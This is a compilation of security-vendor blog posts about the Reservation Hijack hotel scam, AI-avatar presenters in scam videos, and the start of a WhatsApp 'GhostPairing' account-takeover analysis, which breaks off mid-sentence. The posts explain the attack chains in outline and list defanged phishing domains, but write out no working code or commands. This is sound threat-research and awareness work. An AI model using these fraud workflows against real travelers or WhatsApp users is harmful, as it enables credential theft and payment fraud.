This is a useful reminder of how fragmented the travel ecosystem really is. A traveler may book a large hotel chain, a family-run guesthouse, a serviced apartment, a hostel, or a villa through similar platforms and messaging flows.&nbsp;From the traveler’s point of view, the trust model is almost the same. They made a booking. They expect communication. They may not know whether the message came from the property, the platform, a channel manager, a property management system, or a compromised account sitting somewhere in between.&nbsp;That is exactly the gap criminals are abusing.&nbsp;<h3>How big could this problem be?&nbsp;</h3>To understand the potential scale of Reservation Hijack scams, we looked at the accommodation properties appearing in our research dataset.&nbsp;In total, we identified 350 accommodation entries linked to reservation hijack scam activity. These were not all the same kind of business. The dataset included hotels, aparthotels, resorts, hostels, guesthouses, villas, apartments and other accommodation types. For each one, we estimated the number of rooms, units, beds or capsules, depending on the property type, and used that to calculate the likely maximum guest capacity.&nbsp;Across the deduplicated dataset, these properties represented an estimated maximum capacity of around 82,000 guests at any given time. Using a conservative occupancy rate of 50% and an average length of stay of 2.5 nights, this translates into approximately 6 million guest stays per year.&nbsp;That does not mean 6 million people were scammed. It does not mean 6 million people had their data exposed. What it shows is the size of the opportunity criminals may be looking at when they compromise accommodation or booking communication channels.&nbsp;A single compromised workflow can give scammers something much more valuable than a random phone number or email address. It can give them context: the name of the accommodation, the dates of the stay, the booking amount, the channel the guest expects to be contacted through, and the right moment to create urgency.&nbsp;That is why Reservation Hijack scams are so convincing. The scam does not feel like spam. It feels like part of the trip.&nbsp;

<h3>The activity does not look random&nbsp;</h3>We are still investigating the infrastructure behind these attacks, so we are not attributing the activity to a named group.&nbsp;But the evidence does not look like hundreds of unrelated actors randomly copying one another.&nbsp;Across the dataset we analyzed, the same fingerprints kept appearing. Many pages used the same internal paths for scripts, images and styles. Several included the same unusual overlay component, repeated internal asset paths, and the same card-validation language, including claims that funds would be reserved and refunded within 10 minutes.&nbsp;The pages were also built to look specific to the victim. Hotel names appeared in page titles and visible content. Prices varied from one case to another. Check-in and check-out dates were inserted into the page. In some cases, page metadata and images were synchronized with the accommodation being impersonated. The evidence points to a repeatable process for turning reservation context into property-specific phishing pages. Taken together, those patterns are consistent with a phishing kit designed to generate accommodation-specific pages at scale, rather than pages built manually for each victim.&nbsp;The phishing pages also included a fake live support chat. To the victim, it looked like part of the booking or payment process, but it was controlled from the phishing infrastructure. The payment step could therefore become a live interaction: someone behind the page could react to the victim’s input, ask for another card, explain away a failed “validation”, push the victim to continue, or try to capture a one-time code while the victim still believed they were talking to booking support.&nbsp;Some of the infrastructure also uses legitimate internet services, including services such as Cloudflare, to place a layer between the visible scam page and the systems behind it. That does not make those services malicious. It means criminals are abusing the same infrastructure that normal websites use, including protective layers that can obscure hosting details, traffic paths, and backend systems.&nbsp;For investigators, this kind of setup makes the infrastructure harder to trace. For travelers, it removes many of the usual warning signs. They see a page that loads normally, shows the right accommodation, includes a support chat, and refers to the trip they actually booked. At that point, many people will treat the request as part of the reservation process, even when it is not.&nbsp;<h3>Correct information is not proof of legitimacy&nbsp;</h3>For years, people have been told to watch for bad spelling, odd sender names, generic greetings, and suspicious links. That advice still helps, but it does not solve this problem.&nbsp;A message can include the right accommodation, the right destination, and details from a real stay, and still be malicious. A page can show the correct hotel name, dates, and a plausible payment amount, and still be fake. A request can arrive at the moment when a traveler expects a check-in or payment message, and still be fraud.&nbsp;Page behavior can create false confidence too. In some of the phishing pages we analyzed, the fake support chat looked like part of the booking or payment process. If the victim had a question, or if the card “validation” failed, the page could keep the interaction going instead of simply collecting data and stopping there.&nbsp;That is what makes Reservation Hijack scams difficult for travelers to judge. The victim is not being tricked only by a fake brand or a fake website. They are being pushed through a process built around real context, at the moment when that context feels normal.&nbsp;Travelers expect hotels and booking platforms to contact them. They expect last-minute requests, check-in instructions, payment checks, ID forms, and confirmation messages. Criminals are not fighting that expectation. They are using it.&nbsp;<h3>What travelers should do&nbsp;</h3>The safest rule is simple: do not treat correct booking information as proof that a message is legitimate.&nbsp;If a message asks you to verify payment details, confirm a reservation, re-enter card information, pay a balance, reset a PIN, or avoid cancellation, do not use the <a href="https://us.norton.com/blog/online-scams/i-clicked-on-a-phishing-link" target="_blank">link in the message</a>.&nbsp;Open the booking platform or hotel app directly. Go to the official website yourself. Use contact details from the original booking confirmation. If needed, call the property using a verified number. Check whether the same request appears inside your official booking account.&nbsp;This applies even if the message mentions the right hotel, the right destination, or details from your stay.&nbsp;Booking.com has told customers that it will not ask guests to share credit card details by email, phone, WhatsApp, or text, or ask for a bank transfer that differs from the payment policy in the booking confirmation.&nbsp;If you already entered payment details into a suspicious page, contact your bank immediately, freeze or cancel the card, and monitor for follow-on fraud. Criminals may reuse the card data later, or sell it to others.&nbsp;<h3>What accommodations should take from this&nbsp;</h3>For hotels and other accommodation providers, this is not only a guest-awareness issue. Guest communication has become part of the attack surface.&nbsp;The systems and workflows between the property and the guest are now valuable targets. That can include hotel staff accounts, booking platform partner accounts, email inboxes, property management systems, guest messaging tools, channel managers, and third-party service providers.&nbsp;The lures we have seen on the accommodation side are not exotic. They look like normal hotel work. Some impersonate Booking.com and claim there is a guest complaint waiting for a response. Others say that a paid reservation needs urgent verification, or that the property’s visibility or ranking may be affected if staff do not act quickly. We have also seen payment and invoice-themed messages designed to make staff open attachments or documents that can lead to credential theft or <a href="https://us.norton.com/blog/malware/signs-of-malware" target="_blank">malware infection</a>.&nbsp;

That is why the first visible sign of a Reservation Hijack scam may not be the message sent to the guest. It may start earlier, with an email to a shared hotel inbox, a fake partner-support notice, a malicious attachment, or a document that looks like part of normal accounting or reservation handling. Once reservation context is obtained, whether directly or through another actor in the criminal ecosystem, it can be used later to make guest-facing scams much more convincing.&nbsp;For accommodation providers, staff training needs to cover the workflows criminals are actually abusing. Urgent complaints, reservation-verification requests, payment advice emails, invoice notifications, security-update prompts, and any message asking staff to open an attachment, enable content, sign in again, or act under time pressure should all be treated as possible entry points into the same fraud chain.&nbsp;The defensive work starts with account protection, but it should not stop there. Accommodation providers need strong <a href="https://us.norton.com/blog/account-safety/multi-factor-authentication" target="_blank">multi-factor authentication</a>, tight control over who can access guest data, monitoring for unusual logins or message patterns, and a clear process for responding when an account may have been abused. The devices used to manage reservations, guest messages, invoices and payment-related emails should also be protected with reliable security protection. Some of the lures we observed were designed to make staff open attachments or documents that could install malware or steal credentials. In those cases, <a href="https://us.norton.com/antivirus" target="_blank">antivirus</a> or endpoint protection may be the last barrier before a compromised inbox becomes a compromised booking workflow.&nbsp;Payment-related communication deserves special attention. If a guest receives a payment or verification request, there should be a reliable way to confirm whether it is real. If an account is suspected of being compromised, guests need to be warned quickly and clearly.&nbsp;The reputational damage can be painful. Even when the property is also a victim, the traveler may remember the incident as “the hotel message that stole my card details.” That makes workflow security part of customer trust.&nbsp;<h3>What the wider travel ecosystem should learn&nbsp;</h3>Reservation Hijack scams sit between several parts of the travel industry. The booking platform may see unusual partner activity. The hotel may see confused guests. The traveler sees a convincing message. The bank sees card fraud. A security company sees the landing page.&nbsp;Each view is partial, and that delay helps the scam continue.&nbsp;The useful signals are often scattered: unusual partner logins, repeated payment-verification language, guest-message spikes, reused templates, fake landing pages, redirects, and infrastructure overlaps. Sharing those signals faster would make it easier to see when separate complaints are really part of the same operation.&nbsp;One compromised accommodation can look like a local incident. Hundreds of compromised accommodations across 50 countries point to a repeatable abuse model.&nbsp;<h3>The next phase of travel fraud&nbsp;</h3>Reservation Hijack scams exploit a simple mistake in how we judge trust online.&nbsp;Travelers think: “This message knows my booking, so it must be real.”&nbsp;Criminals know: “If we have the booking context, the victim will do much of the trust work for us.”&nbsp;The message does not have to be perfect. The website does not have to be flawless. The attacker does not need to convince the victim from zero. They only need to appear inside a relationship that already exists.&nbsp;Our latest data shows that this model has spread well beyond isolated cases. We identified 350 compromised accommodations across 50 countries, covering hotels, apartments, hostels, resorts, guesthouses, villas, and other accommodation types. Together, those properties represent a large travel footprint and millions of estimated annual guest interactions.&nbsp;The investigation is still ongoing. We are continuing to analyze infrastructure, campaign overlaps, and the clues suggesting connected activity behind parts of the operation.&nbsp;For travelers, the lesson is simple.&nbsp;Trust your booking. Do not automatically trust the message.&nbsp;

After our first report, Booking.com began warning customers that reservation data had been accessed. Our continuing investigation shows how criminals are using that data at scale. 

When Hotel Scams Know Your Booking: 350 Compromised Accommodations Across 50 Countries 

Staff Scientist, AI

The deepfake story you think you know is incomplete.&nbsp;When most people hear “deepfake,” they picture a fake face.&nbsp;One important nuance: a deepfake face does not automatically mean a scam, and a scam does not even require a deepfake face at all. Visuals can be a useful clue, but identifying synthetic media is getting more complex, and simplistic “looks fake” judgments are increasingly unreliable. That is why we lean on multiple signals, including audio analysis and transcript, to reason about intent and behavior.&nbsp;Connecting the term deepfake with deceit makes sense, it is the most visual part of the problem, and it has become a cultural shorthand for deception. But in real-world scam campaigns, the face is often just packaging. The engine is usually the message, including the script, the call to action, the pressure, and the promise.&nbsp;That's why our detection starts where the persuasion lives: the content, especially the audio. Scam videos often reuse the same pitches, again and again, such as “guaranteed returns,” “limited-time access,” “you’ve been selected,” “act before it’s too late.” Even when the visuals look polished, even when the footage looks familiar, the audio can give away the intent.&nbsp;As we continued our research on what makes a deepfake a scam, we started asking another question that changed what we looked for:&nbsp;Once a video is already labeled as scam content by our audio and content analysis, which faces keep showing up across those scam videos?&nbsp;The answer was not only “famous people.”&nbsp;It was actually a set of VIPs that do not exist.&nbsp;<h2>Why we looked for “VIPs” in scam video&nbsp;</h2>In scam ecosystems, repetition is rarely an accident. Criminals optimize what works, then scale it.&nbsp;So instead of asking “who is this person?” we asked “how often does this face appear across scam-labeled videos, and where does it show up?” If the same presenter is repeatedly used as a delivery vehicle for scam scripts, that recurrence becomes a signal of reuse, coordination, and industrialization.&nbsp;To do that, our proof of concept takes scam-labeled videos, extracts faces, generates compact visual descriptors, then groups them by similarity. The most prevalent identities in that scam-labeled set become “VIPs,” meaning faces that appear unusually often across scam content. We use faces here as an additional signal for grouping and speed, to connect related scam videos and spot scale. It complements audio and transcript analysis, it is not the primary factor deciding whether a video is a scam.&nbsp;We expected the usual outcome: a list dominated by high-profile public figures that scammers frequently impersonate.&nbsp;And yes, those faces are there. Public figures like Elon Musk have become recurring bait in investment-themed scams, giveaways, and “exclusive opportunity” narratives.&nbsp;But the most important finding was what appeared alongside the celebrity targets.&nbsp;<h2>VIPs that don’t exist&nbsp;</h2>Some of the most prevalent “presenters” in scam video are not real people.&nbsp;They look like ordinary talking-head hosts: friendly expression, neutral styling, camera-ready delivery. They speak clearly, they project confidence, and they often appear in exactly the kind of format people have learned to trust: a calm explainer, a “news-style” segment, a professional endorsement, a casual recommendation.&nbsp;But they are AI avatars, synthetic presenters generated to be reused. To be clear, an AI avatar is not automatically a scam; what makes these specific presenters relevant is that we found them recurring inside videos already labeled as scams based on the message and behavior.&nbsp;In general, proving that a person on screen is synthetic can require detailed and expensive analysis, things like lip-sync consistency, motion artifacts, and other forensic techniques. Our approach is different: we identify and aggregate recurring avatar identities from scam-labeled videos using lightweight visual descriptors and similarity grouping. That gives us a faster, cheaper way to recognize AI avatar presenters that are not yet “known,” but are already showing up frequently in the wild.&nbsp;We are confident about this classification. These are not ambiguous “maybe enhanced” clips. They are AI avatar outputs, and we have also seen the supply chain behind them, including avatar creation services marketed openly on freelance marketplaces like Fiverr.&nbsp;This matters because it changes the threat model.&nbsp;If you only think about deepfakes as “someone impersonating a celebrity,” you miss the bigger shift: scammers are increasingly manufacturing credibility without impersonating anyone at all.&nbsp;That might sound like a minor distinction, but it changes the incentives.&nbsp;<ul type="disc"><li data-list-item-id="e908326041bf0d633ca65ffb02170a711">A celebrity deepfake creates obvious controversy and is easier for platforms and victims to challenge.&nbsp;</li><li data-list-item-id="e3d8efe40c9161bf5c06bb597444c608c">A synthetic presenter has no “real person” attached, no victim to complain, and no public figure to debunk the content.&nbsp;</li><li data-list-item-id="efe3688ea8aebb1aa6c655308f6223fda">The same synthetic presenter can be reused endlessly, across topics and languages, with minimal cost.&nbsp;</li></ul>In short, these “VIPs” are not famous because they are recognized, they are VIPs because they are operational assets in scam production.&nbsp;<h2>From celebrity deepfakes to avatar farm&nbsp;</h2>Celebrity impersonation is still here, and it will remain attractive. Reputation is a powerful shortcut to trust.&nbsp;But impersonation has trade-offs. It is high-profile, easier to report, and riskier for scammers. It can also be brittle, a single debunk can collapse a campaign.&nbsp;Synthetic presenters reduce that risk. You do not have to mimic a specific person, you just have to look credible enough to keep someone listening for 20 seconds.&nbsp;This is why the “avatar farms” mental model fits.&nbsp;Instead of crafting a one-off forgery, scammers can run a production line:&nbsp;<ol type="1"><li data-list-item-id="ebb598c8a5f36ed5bf22c58a25cf5137d">Create or acquire a synthetic presenter that looks broadly trustworthy&nbsp;</li><li data-list-item-id="e037f34075f6fe1c6b325444d26aec9ad">Generate scripts at volume, tailored to whatever is trending&nbsp;</li><li data-list-item-id="e9830311305c72262b00d5e0ed4706f87">Swap voiceovers, captions, and visual overlays&nbsp;</li><li data-list-item-id="e1829309715a175d81fbb484eaf94b1e0">Publish, measure engagement, then publish again with minor variations&nbsp;</li></ol>That production line scales. It is designed for experimentation, iteration, and reach.&nbsp;And it works because most scams do not require cinematic realism. They require momentum.&nbsp;<h2>Synthetic trust, the new social engineering&nbsp;</h2>Humans are wired to treat faces and voices as social proof. A confident presenter can make a claim feel less risky, even when the claim is outrageous. A calm delivery can make urgency feel “reasonable.” A familiar format can make a stranger’s instructions feel like a normal next step.&nbsp;That is the core idea behind synthetic trust.&nbsp;AI avatars are not trying to be memorable. They are trying to be acceptable. They are engineered to pass a quick gut-check, “this seems legitimate,” long enough to drive a click, a download, a payment, or a message.&nbsp;For scammers, that is an upgrade. A synthetic presenter does not get tired. It does not demand a fee. It does not have a moral objection. It can be generated in many languages, in endless variations, and deployed in parallel across platforms.&nbsp;You may still see celebrity bait at the top of the funnel. But underneath it, a lot of scam content is shifting toward manufactured presenters that are easier to scale.&nbsp;<h2>The twist: sometimes the video is real and only the audio is weaponized&nbsp;</h2>There is another reason audio-first detection matters: not every scam video relies on a fake face.&nbsp;Sometimes criminals take legitimate footage, a real interview, a real tutorial, a real product explainer, and overlay a scam pitch on top. The visuals can be authentic. The deception sits in the narration, the instructions, and the call to action.&nbsp;This technique does two things for scammers:&nbsp;<ul type="disc"><li data-list-item-id="ee6d78ff507a6dd63751daeb5224bcc60">It reduces production cost, because they can recycle existing footage&nbsp;</li><li data-list-item-id="eae4e6dba3c1d54936aa4100bfd420af0">It reduces suspicion, because the visuals look “normal” at a glance&nbsp;</li></ul>If defenses focus only on “does the face look fake?”, this kind of repurposed content can slip through. That is why we treat the message as primary. Then, once content is labeled as scam, we look for the repeated visual infrastructure that carries those messages, including recurring AI avatar presenters.&nbsp;<h2>A note on hired actors&nbsp;</h2>Not every recurring presenter in scam content is synthetic. We have also seen scams that use hired actors or commissioned videos. Sometimes it is a human reading a script, sometimes it is a human clip later repurposed with different narration or overlays.&nbsp;In other words: the “avatar farm” trend does not replace all old techniques. It sits alongside them.&nbsp;That is also why we avoid simplistic rules like “this face is fake therefore it is a scam.” What matters is intent and behavior. Faces help us connect the dots faster as a signal, they are not the verdict.&nbsp;<h2>Practical tips: how to protect yourself from scam videos&nbsp;</h2>If a video is pushing you toward money, logins, downloads, or urgent verification, treat the presenter as part of the packaging, not proof.&nbsp;<ol type="1"><li data-list-item-id="eb375588bdd69b963a569da0423a5860d">Follow the action, not the face.&nbsp; If the video is urging urgency, secrecy, or immediate payment, pause. That pressure is often the scam.&nbsp;</li><li data-list-item-id="ecf36de53c2869ca44dd7de68b8dd6a10">Verify outside the platform.&nbsp; Search for the claim from independent sources, not links in the description or comments.&nbsp;</li><li data-list-item-id="ea8e5ddb75021374558a5553272959836">Be suspicious of “too smooth” certainty.&nbsp; Scam scripts often sound confident, generic, and strangely frictionless, as if risk does not exist.&nbsp;</li><li data-list-item-id="ee5e84990c119d747dd4cb8566a61b415">Watch for mismatch.&nbsp; If the visuals feel unrelated to the pitch, or the audio feels pasted-on, treat it as a warning sign.&nbsp;</li><li data-list-item-id="ecd31fbfea4a6ecebbceff95dfbcc3458">Avoid installs prompted by videos.&nbsp; “Install this to verify,” “download this viewer,” “run this command,” these are common routes into malware and credential theft.&nbsp;</li><li data-list-item-id="e190568cd7906f183381254eeea433387">Use protection tools. Tools like Norton’s AI-powered Scam Protection and Avast Deepfake Guard can help spot what’s easy to miss, including deepfake audio in videos and scam signals across web, SMS and more.&nbsp;</li></ol><h2>The bottom line&nbsp;</h2>Deepfakes may get the headlines, but they are only part of the story. From impersonating real people to manufacturing trust at scale, faces, voices, scripts, formats, all of it can be generated, reused and optimized.&nbsp;Which means the real skill is not spotting what looks fake; it is recognizing how scams behave.&nbsp;Follow the pressure. Question the promise. Verify outside the moment.&nbsp;

When the face is familiar but the person isn’t real 

From Celebrity Deepfakes to Avatar Farms, How Scammers Industrialize Trust

It starts with a message that does not feel wrong.You have a family trip coming up. You made the booking days or weeks ago, saved the confirmation and moved on with your life. Then WhatsApp pings.The message says it is from the hotel’s Guest Relations team. It references the same property you booked. It mentions details that match your stay. It sounds like the kind of practical note you might expect before a trip, a small inconsistency, a quick verification, a routine check before arrival.And that is exactly why it works.When a scam contains real details, it stops feeling like spam and starts feeling like customer service. The attacker does not need perfect writing. They do not need malware. They do not even need a particularly clever pretext. They just need enough truth to make the lie feel safe.That is the pattern at the heart of what we are calling the <a href="https://us.norton.com/blog/online-scams/reservation-hijacking-scam" target="_blank">Reservation Hijack Scam</a>.We call it a Reservation Hijack Scam because the attacker is not just spoofing a hotel or sending a generic phishing lure. They are hijacking the context around a real reservation and using it to make fraud feel like routine customer service.&nbsp;In the stronger versions of the attack, that goes further. Once hotel staff credentials are phished, the attacker may gain access to real hotel or partner accounts and contact guests from within legitimate workflows, for example through a booking platform account or hotel messaging environment. At that point, the scam is no longer only borrowing the hotel’s identity, it is actively impersonating the hotel through systems the guest already trusts.That is the shift that matters most. This is not just a travel-themed phishing lure dressed up with better wording. In the strongest cases, criminals can move from impersonating the hotel to operating through compromised hotel-side or partner workflows, contacting real travelers in the context of real reservations.<h2>A scam category built on stolen and relayed trust</h2>Most phishing is generic. It arrives with no context, so your brain treats it with suspicion.Reservation Hijack scams work differently. They reflect real context back at the victim, the hotel name, the destination, the fact that there is a genuine booking, sometimes the stay window, sometimes even the exact amount due. That reflected truth becomes the bypass.Add a short fuse, usually 24 or 48 hours, and the attacker gets what they want most, fast compliance before the victim pauses, verifies or calls the property.This is not just a nicer phishing template. It is a different quality of deception.

<h2>What we found</h2>Our investigation points to two visible fronts in the same scam pattern.The first is the booking-platform lure. Victims receive WhatsApp messages or similar contact from what appears to be a hotel or guest relations team, then get pushed into a fake guest portal or payment verification page. We have seen this most clearly in Booking.com-linked cases, with additional signs of similar abuse around other travel and hospitality workflows. These messages feel unusually convincing because they contain real booking context.The highest observed activity is concentrated across parts of Western Europe, notably the United Kingdom, France, and Germany, alongside the United States, Brazil and Australia.

We have also seen this scam pattern surface across multiple channels, including Booking.com messaging, WhatsApp, SMS and email. That matters because it shows this is not tied to a single delivery trick. It is a flexible fraud workflow that can move wherever guests are most likely to trust and respond.The second is the hotel software abuse path, where the attacker does not just imitate a hotel from the outside, but appears to operate from inside the hotel’s workflow. For example, Cloudbeds is a hospitality management platform used by hotels to handle reservations, guest communications, and other day-to-day operations. In the Cloudbeds-related cases we reviewed, the attack chain begins with phishing hotel staff, not guests. Once the attacker steals staff credentials, they can log into real hotel management tooling, access reservation data and use guest communication features to target upcoming travelers. Depending on the systems tied to that hotel workflow, that may also let the attacker operate through legitimate booking or messaging accounts associated with the property, effectively communicating with real customers as if they were the hotel itself.That shift matters.At that point, the hotel is no longer just the theme of the scam. Its real accounts, workflows and communication channels can become the delivery mechanism.That hotel-side compromise path is not theoretical. In partner-targeted examples we uncovered, attackers impersonated Booking.com security communications and pushed accommodation partners to install what was presented as a mandatory security update. In reality, the attached material led the victim to run a malicious command (<a href="https://www.gendigital.com/blog/insights/reports/threat-report-q3-2025" target="_blank">Scam-Yourself Attack Tactic</a>) that deployed a remote access trojan, giving the attacker a foothold that could then be used to steal credentials and abuse the partner account.

<h2>How the scam works, from start to finish</h2>

At its core, this scam follows a simple pattern, even if the entry point can vary.First, the attacker gains access to trust, typically by phishing hotel staff and stealing credentials to a real hospitality platform or connected hotel account. That gives them visibility into genuine reservations, the contact details of real travelers, and in some cases the ability to communicate through legitimate hotel-linked workflows.Next, the attacker identifies real travelers. That is what makes the scam feel different from ordinary phishing. The victim is not chosen at random. They are contacted in the context of a real trip, with details that match an actual booking.The level of personalization depends on how much information the attacker has. When they can access rich reservation data, such as the property name, stay dates, guest name, payment context or booking details, they can build a highly tailored spear phishing message that feels almost indistinguishable from routine customer service. When they only have limited data, such as an email address or phone number, the scam may look more generic, but it can still exploit hotel branding, urgency and the expectation of pre-trip communication.That difference is visible in the lures themselves. In high-context variants, the message may name the guest, reference a specific stay date and amount, or lead to a payment page already populated with reservation details. In lower-context variants, the flow is far more generic and relies on the victim to fill in the missing details themselves.

That difference is visible in the lures themselves. In high-context variants, the message may name the guest, reference a specific stay date and amount, or lead to a payment page already populated with reservation details. In lower-context variants, the flow is far more generic and relies on the victim to fill in the missing details themselves.In the weaker version of the scam, the attacker uses that information to craft convincing messages from the outside, through WhatsApp, SMS or email lookalikes. In the stronger version, the attacker may message the guest from a real hotel or booking-related account they have taken over. The difference is important. The victim may not just see a plausible hotel message, they may see what looks like a legitimate continuation of their existing booking conversation.In one case we reviewed, the phishing message was delivered through a legitimate Booking.com partner communication thread after the accommodation partner account had been compromised. The malicious request was injected into an otherwise normal conversation, making the attack especially difficult to detect because it arrived from a trusted source rather than a spoofed sender. The follow-up warning from the hotel highlights the confusion and damage that can occur once a real partner account is abused:

Then comes the message. It usually arrives over a fast, informal channel such as WhatsApp or SMS, and it is written to feel administrative rather than alarming. The goal is not to scare the victim, but to make the request feel routine, a payment issue, a booking confirmation, a verification step or an urgent action before arrival.In the examples we reviewed, the exact wording and format varied by platform, but the underlying pattern stayed consistent: the message borrowed hotel context, introduced a practical problem, and pushed the guest toward a verification or payment step that benefited the attacker.From there, the victim is pushed into a controlled flow. That may be a fake guest portal, a spoofed payment page, or even a branded PDF that adds one more layer of credibility before the victim reaches the real theft stage.The theft happens when the traveler enters payment details, approves a transfer or otherwise complies with the fake verification process. At that point, the attacker has turned stolen trust into financial fraud.And the damage may not stop there. Payment details can be reused, tested with small charges, sold or leveraged in follow-on scams. What begins as a believable hotel message can end in broader financial compromise.That is what makes this scam different. It is not just phishing with a travel theme. It is a workflow attack built on stolen context and relayed trust.<h2>The Cloudbeds path, step by step</h2>Cloudbeds has publicly warned of an industry-wide phishing campaign targeting hospitality providers and described credential-phishing attacks impersonating Cloudbeds login pages as the root cause rather than a Cloudbeds platform breach.That point matters especially for small and medium-sized hospitality businesses. Large travel brands usually have bigger security teams, more formalized controls and more mature fraud processes. Smaller properties often rely on lean teams, fast guest communication and a handful of operational platforms to keep everything moving. That makes them particularly vulnerable when attackers target employees directly with credential phishing.The attack chain we mapped is brutally efficient.First, hotel staff are lured to fake login pages and their credentials are stolen. Then the attacker logs into the real management environment. From there, they can see future reservations, guest names, contact details, stay information and sometimes payment context. In some scenarios, that access may also extend beyond visibility. If the compromised hotel workflow is connected to guest-facing messaging on booking or hospitality platforms, the attacker may be able to contact customers from the property’s legitimate account presence. That makes the fraud especially dangerous, because the message may arrive inside a channel the traveler already associates with their real reservation.In the cases documented in our working material, some victims received SMS messages containing detailed reservation information and links that led to professionally styled PDFs impersonating hotel groups. Those PDFs pushed “payment verification” within 48 hours, using generic branding, urgency, and a prominent call to action to move the victim toward the real theft stage. The PDF step appears to function as a buffer, one more layer of legitimacy for the victim, and one more layer of indirection for scanners and filters to deal with. In some cases, the PDF itself was hosted on legitimate partner storage that had been hijacked, giving the lure another borrowed layer of trust before redirecting the victim onward.

From there, the victim is redirected again, typically to typo-squatted domains designed to harvest card details, bank transfers or other payment information. Example domains documented in the shared material include frontdesk-reservation[.]com, frontdesk-online[.]biz, and hotel.form842987[.]digital.<h2>One scam, multiple surfaces</h2>This is the part many people miss.The WhatsApp message, the SMS, the fake PDF, the lookalike payment page, the stolen card, these are not separate incidents. They are one pipeline. And that pipeline can include direct impersonation of the hotel itself. Sometimes the attacker stands outside the workflow and imitates the property. Sometimes the attacker steps inside a compromised hotel or booking-related account and speaks from a position the guest already trusts. Different surface, same scam family.First, the attacker gets context. Next, they use that context to deliver a believable message through a channel people act on quickly. Then they move the victim into a verification flow that feels administrative, not dangerous. If payment details are entered, the harm does not stop at one fraudulent charge. Cards can be tested with small transactions, then used for larger purchases, then resold or retried later.This is what makes the scam so dangerous. The same fraud logic can be adapted to different platforms, different levels of stolen context, and different points in the guest journey.<h2>Why this matters now</h2>Hospitality has become an unusually attractive environment for this kind of fraud.Hotels run on urgency, constant guest communication and high-trust operational workflows. Travelers expect messages about check-in, balances, room preferences, arrival timing, and identity verification. That makes it easier for attackers to hide malicious intent inside language that would look normal in almost any other context.And when the attacker is working with real reservation data, or worse, using compromised hotel or booking-linked accounts to contact guests directly, the old consumer advice starts to bend. Checking the link still matters, but it is no longer enough on its own. The victim is not just being tricked by branding. They are being tricked by context.<h2>What travelers should do</h2>If a hotel contacts you via Booking.com messaging, Airbnb, WhatsApp, SMS or email and asks you to verify payment details, do not tap the link. The same caution applies if the message appears to come from an existing reservation thread or from what looks like the hotel’s real account on a booking platform. Trust the booking, not the message.&nbsp;Go to the booking site, hotel site, or official app yourself. If you need to call the property, use a trusted contact route from the original booking or the verified website, not the number or link inside the message.If you already entered payment details, assume compromise. Contact your bank, cancel the card, enable transaction alerts and watch for follow-on attempts.<h2>What hotels should learn from this</h2>The lesson for hospitality is not just “train staff better,” although that matters. It is that hotel software, messaging workflows, and guest communication tools now sit directly on the fraud path.The hotel is no longer only a victim. In the eyes of the guest, it can become the face of the scam. In the worst cases, it can also become the voice of the scam, when attackers use compromised hotel or partner accounts to message guests as if they were legitimate staff.That means account protection, phishing-resistant authentication, tighter controls around exports and guest messaging, anomaly detection and faster incident response are no longer nice-to-haves. They are part of brand protection.Because once attackers learn how to turn operational systems into trust amplifiers, they do not need to break in loudly. They can simply log in, relay stolen trust to the guest, and let the workflow do the rest.<h2>One final thought</h2>For years, the best advice on travel scams was simple: watch for bad grammar, generic messages, and suspicious links.That advice still matters. But it belongs to an earlier phase of the problem.The next phase looks like this: the message knows your booking, sounds plausible, and may arrive through a channel or account the traveler already trusts. That is the point where customer service and fraud begin to overlap.That is the Reservation Hijack Scam.&nbsp;In the next part of this series, we will look more closely at the infrastructure, indicators and investigative signals behind it.

From Booking-themed lures to compromised hospitality software, criminals are using reservation data and trusted workflows to make fraud feel like customer service. 

The Reservation Hijack Scam: How attackers hijack hotel accounts to target guests

Gen has discovered a novel WhatsApp account takeover campaign that we refer to as GhostPairing Attack. On the surface it looks very simple. Victims receive a message from one of their contacts, usually something along the lines of:“Hey, I just found your photo!”

The message includes a link that appears as a Facebook style preview. When users open it, they see a page that imitates a Facebook viewer and asks them to “verify” before they can see the content.What follows is a small sequence of steps that many people complete without thinking. At the end of that sequence, an attacker has full access to the victim’s WhatsApp account without stealing a single password.This article explains what we observed, how the attack works in practice, which infrastructure is involved, and what users can do to protect themselves.We use the term GhostPairing Attack because the victim is tricked into completing WhatsApp’s own device pairing flow, adding the attacker’s browser as an invisible extra device on their account. There is no password theft or SIM swap – instead, the user approves the attacker themselves by entering a pairing code that looks like normal verification.&nbsp;<h3>What we observed in the wild</h3>The campaign was first noticed in Czechia, where compromised accounts started sending short, informal messages to local contacts. The wording varied slightly, but the structure remained the same. The messages were brief, usually mentioning a photo, and included a link that rendered as a Facebook element inside WhatsApp.

The domains behind these links were not Facebook at all. Instead, they belonged to a cluster of lookalike sites with names related to photos or posts, for example:<ul><li data-list-item-id="e05daa7b3c47fb1f79ac3e8fed1f4c02a">photobox[.]life</li><li data-list-item-id="e6383bfeb0e91bb05bec57079833fdd2f">postsphoto[.]life</li><li data-list-item-id="e45c9013742fe0f6f0252de3c6cb2a236">yourphoto[.]life</li><li data-list-item-id="ea6d0d0cd714c9c1c60851ca81d52f045">photopost[.]live</li><li data-list-item-id="e132ec7e7988717b5f26c5872e1ace7e1">yourphoto[.]world</li><li data-list-item-id="eb3696a7f68aadaf5a5b4ddcc3ddbcbae">top-foto[.]life</li><li data-list-item-id="e41c12c2ee42dbb9f602ccd80a8de095e">fotoface[.]top</li></ul>Paths often included strings like /login/post.com or /login/facepost.com, which helped maintain the illusion that the user was dealing with some kind of Facebook login or content viewer.Although our earliest sightings are in<a> Czech</a>, nothing in the attack depends on the language. The same template can be reused for any country simply by changing the text of the lure.<h3>The fake viewer that is not about Facebook at all</h3>When a user clicks the link within the WhatsApp message, they land on a very minimal page. It usually carries the Facebook logo and colors, a stripped down layout and a button that invites them to continue or verify before they can see the photo.This page has two purposes.&nbsp;First, it creates a sense of familiarity that encourages the user to trust the page. People expect Facebook to ask for some kind of confirmation from time to time. Seeing a login button or a verification step feels normal.Second, it acts as the attacker’s control panel. The page is not connecting with Facebook but rather mediating between the victim and the legitimate WhatsApp Web infrastructure that the attacker is abusing.Depending on the variant, the next screen either:<ul><li data-list-item-id="e0697f1d8c50f16ae8214e9a94b20e39c">shows a QR code and tells the user to scan it with WhatsApp, or</li><li data-list-item-id="e74c71b34342fca3bde6cd0fd205feff2">shows a numeric code and tells the user to enter it into WhatsApp to confirm a login.</li></ul>Both flows lead to the same outcome, but later we’ll show why the QR code is rarely used in favor of the numeric code. The attacker gets their browser registered as a linked device on the victim’s WhatsApp account, where they have complete control over personal messages, photos and everything else a person does on the WhatsApp platform.<h3>A quick primer on WhatsApp device linking/pairing</h3>To understand the abuse, it helps to look briefly at how device linking in WhatsApp is supposed to work.When people use 